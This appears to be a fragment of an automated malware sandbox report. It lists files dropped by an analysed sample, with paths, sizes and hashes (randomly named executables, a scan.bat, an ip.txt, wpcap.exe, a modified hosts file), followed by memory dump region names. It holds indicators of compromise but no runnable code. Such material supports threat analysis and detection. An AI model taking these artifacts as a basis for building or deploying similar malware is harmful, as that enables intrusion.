                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\1160.dmp
                                                                                                                                              • Size 1.3MB
                                                                                                                                              • SHA256 34a4fae01cc5e7f8b076e46da3d85691b6e79e919f8d6536c6b1cdb788a43912
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              1188.dmp

                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\1188.dmp
                                                                                                                                              • Size 2.1MB
                                                                                                                                              • SHA256 0f5474269f0fe63f802d246eb3feec781e385e6182eaa79b40ec482064c50854
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              1668.dmp

                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\1668.dmp
                                                                                                                                              • Size 5.3MB
                                                                                                                                              • SHA256 102e27a3a2f3a12b7a2bcb52ece54552c70e19b60cad63c88852095ce243d599
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              1744.dmp

                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\1744.dmp
                                                                                                                                              • Size 843KB
                                                                                                                                              • SHA256 a408c57c3a842078109aaf6b9057446777deca357d762a89cf9831c44ce842f2
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              1976.dmp

                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\1976.dmp
                                                                                                                                              • Size 6.9MB
                                                                                                                                              • SHA256 727cf3fd40674146a6a939c009934fd536816249580df6be4fa5b317b6f32268
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              272.dmp

                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\272.dmp
                                                                                                                                              • Size 4.5MB
                                                                                                                                              • SHA256 8caf17b035287fc965cb76c65ba2cace795ef7a3a89ad4d27a2231574024d6df
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              836.dmp

                                                                                                                                              • Path C:\Windows\TEMP\ejqmsrtmu\836.dmp
                                                                                                                                              • Size 4.0MB
                                                                                                                                              • SHA256 b800c80ebeee4a7d280772a0057f3552d078c363be877722294db8f12c72b408
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              config.json

                                                                                                                                              • Path C:\Windows\TEMP\jikvyijtn\config.json
                                                                                                                                              • Size 693B
                                                                                                                                              • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                              isfjqnmft.exe

                                                                                                                                              • Path C:\Windows\Temp\ejqmsrtmu\isfjqnmft.exe
                                                                                                                                              • Size 126KB
                                                                                                                                              • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              mniena.exe

                                                                                                                                              • Path C:\Windows\Temp\jikvyijtn\mniena.exe
                                                                                                                                              • Size 343KB
                                                                                                                                              • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              vfshost.exe

                                                                                                                                              • Path C:\Windows\ejqmsrtmu\Corporate\vfshost.exe
                                                                                                                                              • Size 381KB
                                                                                                                                              • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              ip.txt

                                                                                                                                              • Path C:\Windows\ejqmsrtmu\qvbbpluab\ip.txt
                                                                                                                                              • Size 158B
                                                                                                                                              • SHA256 3461653ac14931168185309c57f8c348724cc9326c488d6301da2c4cbb3c9b96
                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                              qcrijsufl.exe

                                                                                                                                              • Path C:\Windows\ejqmsrtmu\qvbbpluab\qcrijsufl.exe
                                                                                                                                              • Size 332KB
                                                                                                                                              • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              scan.bat

                                                                                                                                              • Path C:\Windows\ejqmsrtmu\qvbbpluab\scan.bat
                                                                                                                                              • Size 160B
                                                                                                                                              • SHA256 841771413957c8406c23a0570d1f8524c7a5f49fbe1ab6ab510e9b072c238f5d
                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                              zzpbbrn.exe

                                                                                                                                              • Path C:\Windows\nsqfrbly\zzpbbrn.exe
                                                                                                                                              • Size 8.0MB
                                                                                                                                              • SHA256 dd3b663e6cf72e31a8ef6c6f55c0163671d42c0a3eae82d771ad95d890642f74
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              hosts

                                                                                                                                              • Path C:\Windows\system32\drivers\etc\hosts
                                                                                                                                              • Size 975B
                                                                                                                                              • SHA256 a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                              System.dll

                                                                                                                                              • Path \Windows\Temp\nse432A.tmp\System.dll
                                                                                                                                              • Size 11KB
                                                                                                                                              • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              nsExec.dll

                                                                                                                                              • Path \Windows\Temp\nse432A.tmp\nsExec.dll
                                                                                                                                              • Size 6KB
                                                                                                                                              • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              xohudmc.exe

                                                                                                                                              • Path \Windows\Temp\xohudmc.exe
                                                                                                                                              • Size 72KB
                                                                                                                                              • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              wpcap.exe

                                                                                                                                              • Path \Windows\ejqmsrtmu\qvbbpluab\wpcap.exe
                                                                                                                                              • Size 424KB
                                                                                                                                              • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                              memory/884-75-0x00000000003B0000-0x00000000003FC000-memory.dmp

                                                                                                                                              memory/960-215-0x000000013FE10000-0x000000013FE6B000-memory.dmp

                                                                                                                                              memory/960-212-0x000000013FE10000-0x000000013FE6B000-memory.dmp

                                                                                                                                              memory/1000-196-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-264-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-225-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-256-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-151-0x0000000000410000-0x0000000000420000-memory.dmp

                                                                                                                                              memory/1000-265-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-149-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-210-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-245-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-243-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1000-241-0x000000013F9C0000-0x000000013FAE0000-memory.dmp

                                                                                                                                              memory/1544-134-0x0000000000D30000-0x0000000000E1E000-memory.dmp

                                                                                                                                              memory/1544-135-0x0000000000D30000-0x0000000000E1E000-memory.dmp

                                                                                                                                              memory/1708-237-0x000000013F320000-0x000000013F37B000-memory.dmp

                                                                                                                                              memory/1708-239-0x000000013F320000-0x000000013F37B000-memory.dmp

                                                                                                                                              memory/1736-231-0x000000013F9B0000-0x000000013FA0B000-memory.dmp

                                                                                                                                              memory/1736-229-0x000000013F9B0000-0x000000013FA0B000-memory.dmp

                                                                                                                                              memory/2088-200-0x000000013FA50000-0x000000013FAAB000-memory.dmp

                                                                                                                                              memory/2088-204-0x000000013FA50000-0x000000013FAAB000-memory.dmp

                                                                                                                                              memory/2152-138-0x000000013FCD0000-0x000000013FDBE000-memory.dmp

                                                                                                                                              memory/2152-136-0x000000013FCD0000-0x000000013FDBE000-memory.dmp

                                                                                                                                              memory/2204-258-0x0000000001260000-0x0000000001272000-memory.dmp

                                                                                                                                              memory/2344-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                                                                                                                              memory/2344-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                                                                                                                              memory/2404-183-0x0000000000400000-0x0000000000412000-memory.dmp

                                                                                                                                              memory/2404-164-0x0000000010000000-0x0000000010008000-memory.dmp

                                                                                                                                              memory/2428-221-0x000000013FE60000-0x000000013FEBB000-memory.dmp

                                                                                                                                              memory/2428-223-0x000000013FE60000-0x000000013FEBB000-memory.dmp

                                                                                                                                              memory/2496-257-0x0000000001260000-0x0000000001272000-memory.dmp

                                                                                                                                              memory/2508-144-0x000000013F980000-0x000000013F9DB000-memory.dmp

                                                                                                                                              memory/2508-154-0x000000013F980000-0x000000013F9DB000-memory.dmp

                                                                                                                                              memory/2640-186-0x000000013F060000-0x000000013F0BB000-memory.dmp

                                                                                                                                              memory/2640-182-0x000000013F060000-0x000000013F0BB000-memory.dmp

                                                                                                                                              memory/2656-192-0x000000013F040000-0x000000013F09B000-memory.dmp

                                                                                                                                              memory/2656-194-0x000000013F040000-0x000000013F09B000-memory.dmp

                                                                                                                                              memory/2748-9-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                                                                                                                              memory/2872-191-0x00000000019F0000-0x0000000001A4B000-memory.dmp

                                                                                                                                              memory/2872-242-0x0000000002400000-0x000000000245B000-memory.dmp

                                                                                                                                              memory/2872-220-0x00000000019F0000-0x0000000001A4B000-memory.dmp

                                                                                                                                              memory/2872-244-0x0000000002400000-0x000000000245B000-memory.dmp

                                                                                                                                              memory/2872-209-0x0000000002B70000-0x0000000002C90000-memory.dmp

                                                                                                                                              memory/2872-213-0x00000000023C0000-0x000000000241B000-memory.dmp

                                                                                                                                              memory/2872-236-0x0000000002400000-0x000000000245B000-memory.dmp

                                                                                                                                              memory/2872-180-0x00000000023C0000-0x000000000241B000-memory.dmp

                                                                                                                                              memory/2872-211-0x0000000002400000-0x000000000245B000-memory.dmp

                                                                                                                                              memory/2872-148-0x0000000002B70000-0x0000000002C90000-memory.dmp

                                                                                                                                              memory/2872-142-0x00000000023C0000-0x000000000241B000-memory.dmp

                                                                                                                                              memory/2872-201-0x00000000023C0000-0x000000000241B000-memory.dmp